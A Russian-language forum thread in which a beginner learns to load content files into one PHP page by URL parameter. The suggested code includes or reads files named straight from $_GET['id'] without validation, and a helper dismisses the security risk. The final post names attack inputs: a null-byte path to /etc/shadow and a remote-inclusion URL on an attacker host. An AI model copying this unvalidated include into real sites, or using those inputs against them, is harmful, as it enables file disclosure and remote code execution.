![]() |
легкая смена дизайна
Как вставлять разные данные по ссылкам на одну страничку? Замучался уже с этим вопросом. Куча всяких предложений, ничего не работает. Что в этом коде то не так?
Код:
<HTML> http://myserver.ru/index.php3?news http://myserver.ru/index.php3?links http://myserver.ru/index.php3?about А можно и просто http://myserver.ru/?news http://myserver.ru/?links http://myserver.ru/?about |
Непонятно, добавляет ли foo() расширение к файлу. По-моему она просто возвращает то же самое, либо main в случае отсутствия переменной. А для include вроде как нужно полное имя файла. Тогда там написисать:
Код:
<?php Или же данные хранятся просто в файлах без расширения? Тут есть кое-какие неясности... Может просто попробовать запросы типа http://myserver.ru/?id=news и обрабатывать их как $_GET['id'] ? Или нужно, чтобы одним словом после вопроса? |
хочу сделать одну страничку, которая содержала бы структуру, а по ссылкам в эту страничку добавлялись данные. хранящиеся в отдельных файликах.
Вот нашел этот код, ещё язык SSI (не понравился). Мне все равно как делать, хочу научится, понять как это сделать, сделать это. А как в $_GET['id'] делается? не можешь пример кодика выкинуть? Благодарен за отклик. |
Luke2007, а тот, который был выше не подошёл?
Вот второй пример. Есть страничка index.php (я полагаю, что .php3 не стоит использовать - сейчас вроде как все серверы(сервера?) поддерживают php4 и выше): Код:
<html><head></head><body> Как это работает: 1. Пользователь вызывает сайт http://myserver.ru/ 2. Сервер ищет index.php. Находит. Возвращает результат обработки. В данном случае, строка if ($_GET['id']=="") обозначает, что если переменной id не было в url'е (или она была пустая типа: myserver.ru/index.php?id=), то подключается содержимое файла main.txt. Ну, это и до меня вам было ясно ;-) 3. Если запрашивался адрес типа myserver.ru/index.php?id=news, то код обрабатывает строку после else: включить файл, имя которого состоит из того, что содержалось в переменной $_GET['id'] (т.е. в данном запросе это будет news) и расширения (.txt). точка между строками $_GET['id'] и ".txt" обозначает, что нужно соединить первую строку со второй. Получается имя файла news.txt, который подключается в тело html-документа функцией include. Тут есть, конечно, вариант, что пользователь "случайно" сделает запрос типа myserver.ru/index.php?id=ass, а файла ass.txt у вас не будет. В этом случае html-документ будет содержать только дизайн и навигацию. Основного содержимого не будет. Для проверки на существование этого файла немного модифицируем код (html-разметку я не переписываю): Код:
<?php Если не нравится, что файлы будут храниться в .txt, можете изменить расширение на любое другое, соответственно изменив и php-код. Но сути это не изменит (защита файлов от прямого просмотра тоже реализуется легко, но это, я думаю, сейчас не важно). Воть. Это, конечно, довольно примитивное использование php, но для начинающего - самое то. Я сам так учился ;-) Если понравится язык, могу предложить лекции по нему на сайте intuit.ru. Не сказать, что там всё прозрачно описано, но лучше я не видел (в электронном варианте. В текстовом - полно книг хороших и разных). |
Круто, работает. Спасибо! Все так просто. А я пересмотрел, там такие жуткие коды с примерами были. Я синтаксис языка ещё плохо знаю. Есть пару учебников в электронном виде. Реально нравица один, там даже про эту функцию ниче написано не было. Смотрел с кодированием url, ещё не разобрался. Сейчас поюзаю. А то перерыл много, а ничего до конца не работает. Прочитал что эта include вообще никак не защищена от взлома. Точно ничего не знаю, как защищена, как защищать, как взламывать. Это первое, что работает до конца и правельно, благодоря вам. Оргомное спасибо.
|
Защищена от взлома или нет - меня мало волнует. Можете попробовать вместо include() написать одну из следующих функций:
А хакеры, если взломать захотят - всё равно взломают (опытные, конечно. Новички, пожалуй, с этим ничего не сделают). И даже безумно защищённый код. По правилу "умный в гору не пойдёт - умный гору обойдёт". Т.е. проще сервер вскрыть))) Но вы же особо секретные данные хранить на сайте не собираетесь?) |
Да, как говорится, замок - это только для честных людей. Мол чтобы у честных людей небыло соблазну испортить вам сайт. Смотрю, разных функций много и работают то по разному, то одинаково, не во всех учебниках преведины все. Я так понял можно тоже самое сделать и
Код:
<?php Еще вопрос. Я таким образом ещё не просто текст подключаю, но и пхп код гостевой книги, добавления новостей. И как я понял, с этим могут возникнуть проблемы, но пока вроде все работает. А что может пойти не так, из за чего произойдет сбой? |
Цитата:
Код:
if (file_exists ($_GET['id'])) { Я точно не знаю, но по-моему даже так работать не будет. Потому что прочитанный файл нужно куда-то сохранить. Так? Пишем $content=fpassthru($file);. Содержимое файла сохраняется в переменной $content. Далее эту переменную отправляем на вывод: echo $content; Хотя, конечно, можно написать и просто echo fpassthru($file); А затем не забываем закрыть указатель fclose($file); - на всякий случай. Цитата:
|
даже такому куль-хацкеру как мне видна одна уязвимость c fpassthru((не факт, может ее уже пофиксили) index.php?id=/etc/shadow%00 ) и одна с include/require((тоже не факт)(при allow_url_fopen) index.php?id=http://zloyhacker.ru/exploit.php%00 )
так что по-хорошему нужна еще проверка id на возможность :) |
Время: 18:19. |
Время: 18:19.
© OSzone.net 2001-